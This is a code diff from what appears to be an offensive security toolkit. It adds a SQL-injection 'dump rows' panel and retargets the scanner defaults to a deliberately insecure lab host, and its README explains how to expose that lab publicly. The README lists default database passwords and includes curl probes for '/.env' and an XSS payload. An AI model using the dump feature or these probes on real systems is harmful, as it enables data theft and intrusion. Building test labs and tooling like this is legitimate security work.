<div class="dump-head">[ DUMP ]
<span v-if="!f.union_cols" class="dump-hint">union will be probed on first click</span>
</div>
<div class="dump-row">
<button class="mini-btn" :disabled="(dumpSessions[i]?.busy)" @click="listDatabases(i, f)">
{{ dumpSessions[i]?.busy ? "" : "list databases" }}
</button>
<select v-if="dumpSessions[i]?.databases?.length"
v-model="dumpSessions[i].selectedDb"
@change="dumpSessions[i].tables = []; dumpSessions[i].columns = []; dumpSessions[i].rowsResult = null">
<option value="">— db —</option>
<option v-for="d in dumpSessions[i].databases" :key="d" :value="d">{{ d }}</option>
</select>
</div>
<div v-if="dumpSessions[i]?.selectedDb" class="dump-row">
<button class="mini-btn" :disabled="dumpSessions[i].busy" @click="listTables(i, f)">
{{ dumpSessions[i].busy ? "" : "list tables" }}
</button>
<select v-if="dumpSessions[i]?.tables?.length"
v-model="dumpSessions[i].selectedTable"
@change="dumpSessions[i].columns = []; dumpSessions[i].rowsResult = null">
<option value="">— table —</option>
<option v-for="t in dumpSessions[i].tables" :key="t" :value="t">{{ t }}</option>
</select>
</div>
<div v-if="dumpSessions[i]?.selectedTable" class="dump-row">
<button class="mini-btn" :disabled="dumpSessions[i].busy" @click="listColumns(i, f)">
{{ dumpSessions[i].busy ? "" : "list columns" }}
</button>
</div>
<div v-if="dumpSessions[i]?.columns?.length" class="col-chips">
<label v-for="c in dumpSessions[i].columns" :key="c" class="col-chip" :class="{ on: dumpSessions[i].selectedCols.has(c) }">
<input type="checkbox" :checked="dumpSessions[i].selectedCols.has(c)" @change="toggleCol(i, f, c)" />
<span>{{ c }}</span>
</label>
</div>
<div v-if="dumpSessions[i]?.columns?.length" class="dump-row">
<label class="mini"><span>limit</span><input v-model.number="dumpSessions[i].limit" type="number" min="1" max="10000" /></label>
<label class="mini"><span>offset</span><input v-model.number="dumpSessions[i].offset" type="number" min="0" /></label>
<button class="mini-btn hit" :disabled="dumpSessions[i].busy" @click="dumpRows(i, f)">
{{ dumpSessions[i].busy ? "" : "> dump rows" }}
</button>
</div>
<div v-if="dumpSessions[i]?.err" class="dump-err">{{ dumpSessions[i].err }}</div>
<div v-if="dumpSessions[i]?.rowsResult" class="dump-table-wrap">
<div class="dump-meta">
{{ dumpSessions[i].rowsResult.count }} row(s)
<span v-if="dumpSessions[i].rowsResult.truncated" class="trunc">· TRUNCATED</span>
</div>
<table class="dump-table">
<thead><tr><th v-for="h in dumpSessions[i].rowsResult.headers" :key="h">{{ h }}</th></tr></thead>
<tbody>
<tr v-for="(row, ri) in dumpSessions[i].rowsResult.rows" :key="ri">
<td v-for="(cell, ci) in row" :key="ci">{{ cell }}</td>
</tr>
</tbody>
</table>
</div>
<details v-if="dumpSessions[i]?.lastPayload" class="dump-payload">
<summary>last payload</summary>
<pre>{{ dumpSessions[i].lastPayload }}</pre>
</details>
</div>
</div>
</div>
@@ -331,4 +610,98 @@ code {
}
.kv .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
.kv .v { color: var(--valid); font-weight: 700; }
.dump-panel {
margin-top: 6px;
padding-top: 6px;
border-top: 1px dashed var(--border);
display: flex;
flex-direction: column;
gap: 4px;
}
.dump-head {
color: var(--alert);
font-size: 9px;
letter-spacing: 0.25em;
font-weight: 700;
}
.dump-hint { color: var(--fg-ghost); font-size: 9px; letter-spacing: 0.1em; margin-left: 6px; font-weight: 400; text-transform: none; }
.dump-row {
display: flex;
gap: 6px;
align-items: center;
flex-wrap: wrap;
}
.mini-btn {
background: var(--bg);
border: 1px solid var(--border);
color: var(--fg);
padding: 3px 10px;
font-family: inherit;
font-size: 10px;
cursor: pointer;
flex-shrink: 0;
height: auto;
}
.mini-btn:hover:not(:disabled) { border-color: var(--accent); color: var(--accent); }
.mini-btn:disabled { opacity: 0.5; cursor: not-allowed; }
.mini-btn.hit { border-color: var(--alert); color: var(--alert); }
.mini-btn.hit:hover:not(:disabled) { background: rgba(255, 47, 74, 0.08); }
.dump-panel select {
background: var(--bg);
border: 1px solid var(--border);
color: var(--fg);
padding: 3px 6px;
font-family: inherit;
font-size: 11px;
min-width: 120px;
}
.dump-panel select:focus { border-color: var(--accent); outline: none; }
.col-chips { display: flex; flex-wrap: wrap; gap: 3px; }
.col-chip {
display: inline-flex;
gap: 4px;
align-items: center;
padding: 1px 6px;
border: 1px solid var(--border);
font-size: 10px;
color: var(--fg-dim);
cursor: pointer;
}
.col-chip input { display: none; }
.col-chip.on { color: var(--valid); border-color: var(--valid); background: rgba(92, 217, 130, 0.06); }
.dump-err { color: var(--alert); font-size: 10px; font-family: var(--mono); }
.dump-meta { color: var(--fg-dim); font-size: 10px; }
.dump-meta .trunc { color: var(--warn); margin-left: 6px; }
.dump-table-wrap { max-height: 240px; overflow: auto; border: 1px solid var(--border); }
.dump-table {
border-collapse: collapse;
width: 100%;
font-size: 10px;
font-family: var(--mono);
}
.dump-table th, .dump-table td {
border: 1px solid var(--border);
padding: 2px 6px;
text-align: left;
white-space: nowrap;
max-width: 240px;
overflow: hidden;
text-overflow: ellipsis;
}
.dump-table th { background: var(--bg); color: var(--alert); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
.dump-table td { color: var(--valid); }
.dump-payload summary { font-size: 9px; color: var(--fg-ghost); text-transform: uppercase; letter-spacing: 0.15em; cursor: pointer; }
.dump-payload pre {
background: var(--bg);
border: 1px solid var(--border);
padding: 4px 6px;
font-size: 10px;
color: var(--fg-dim);
white-space: pre-wrap;
word-break: break-all;
margin: 4px 0 0;
max-height: 120px;
overflow: auto;
}
</style>

View File

@@ -32,7 +32,7 @@ interface Report {
alpn?: string;
}
const host = ref("example.com");
const host = ref("insecure.newploit.com");
const port = ref(443);
const timeoutMs = ref(8000);
const running = ref(false);

View File

@@ -9,7 +9,7 @@ import { useTerminal } from "../../composables/useTerminal";
interface SourceList { free: string[]; key_based: string[]; }
interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; }
const domain = ref("example.com");
const domain = ref("newploit.com");
const wordlist = ref("www,api,dev,staging,admin,mail,ftp,test,portal,app,beta,vpn,m,blog,shop");
const concurrency = ref(50);
const running = ref(false);

View File

@@ -21,7 +21,7 @@ type View = "list" | "editor";
const view = ref<View>("list");
const targets = ref("https://example.com");
const targets = ref("https://insecure.newploit.com");
const templates = ref<TemplateRef[]>([]);
const selected = ref<Set<string>>(new Set());

View File

@@ -6,7 +6,7 @@ import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
const url = ref("https://example.com/search?q=test");
const url = ref("https://insecure.newploit.com/search.php?q=test");
const paramsFilter = ref("");
const useGet = ref(true);
const usePost = ref(false);

View File

@@ -20,41 +20,54 @@ docker compose up --build -d
Add the hostname to your hosts file so the `insecure.newploit.com` SNI /
Host header works:
**Linux / macOS**`/etc/hosts`
## Exposing it
The lab is designed to be run on a home server / LAN box behind a reverse
proxy (cloud VPS, Cloudflare Tunnel, ngrok, tailscale funnel, etc). The
public domain `insecure.newploit.com` then terminates on :80/:443 on the
VPS and forwards to the home container's `8080`/`8443`.
Container mapping:
| Host port (home) | Container | Use |
|------------------|-----------|-----------------------------------|
| 8080 | 80 | reverse-proxy HTTP → insecure.newploit.com |
| 8443 | 443 | reverse-proxy HTTPS → insecure.newploit.com |
| 3306 | 3306 | MariaDB (root:toor / dbuser:dbpass123) |
Sample nginx on the VPS:
```nginx
server {
listen 80;
listen [::]:80;
server_name insecure.newploit.com;
location / { proxy_pass http://<home-ip>:8080; proxy_set_header Host $host; }
}
server {
listen 443 ssl;
server_name insecure.newploit.com;
ssl_certificate /etc/letsencrypt/live/insecure.newploit.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/insecure.newploit.com/privkey.pem;
location / { proxy_pass https://<home-ip>:8443; proxy_ssl_verify off; proxy_set_header Host $host; }
}
```
Or if you just want to hit it locally, add to `/etc/hosts`:
```
127.0.0.1 insecure.newploit.com
```
and use `http://insecure.newploit.com:8080/` directly.
**Windows**`C:\Windows\System32\drivers\etc\hosts`
```
127.0.0.1 insecure.newploit.com
```
**Android (testing from PocketPentester on device)** — set your phone's
Wi-Fi DNS to the dev machine, or just use the host's LAN IP directly:
```
http://192.168.x.x:8080/ (or whatever your dev box IP is)
```
Smoke-test from the host:
Smoke-test from anywhere (once reverse-proxy is live):
```bash
curl http://insecure.newploit.com:8080/
curl http://insecure.newploit.com:8080/.env
curl "http://insecure.newploit.com:8080/search.php?q=<svg/onload=alert(1)>"
curl https://insecure.newploit.com/
curl https://insecure.newploit.com/.env
curl "https://insecure.newploit.com/search.php?q=<svg/onload=alert(1)>"
```
---
## Open ports
| Host port | Service | Notes |
|-----------|-------------------|--------------------------------------------|
| 8080 | Apache 2.4 + PHP | main web app (→ container 80) |
| 8443 | Apache TLS | snakeoil cert for ssl_scan (→ 443) |
| 3306 | MariaDB 10.11 | root:toor, also dbuser:dbpass123 |
---
## Module → endpoint map
Everything below is already wired. Point the tool at `insecure.newploit.com`
@@ -64,7 +77,7 @@ Everything below is already wired. Point the tool at `insecure.newploit.com`
| Arsenal module | Where it hits |
|------------------|------------------------------------------------------------------|
| `port_scan` | 3306 / 8080 / 8443 open (host-mapped ports) |
| `port_scan` | via reverse-proxy: 80/443 public · 3306 only on home LAN |
| `httpx` | Title `Newploit :: insecure test lab`, Server `Apache/2.4.57 …` |
| `banner` | Apache + MySQL banners expose full version |
| `ssl_scan` | Self-signed CN=insecure.newploit.com on :443 |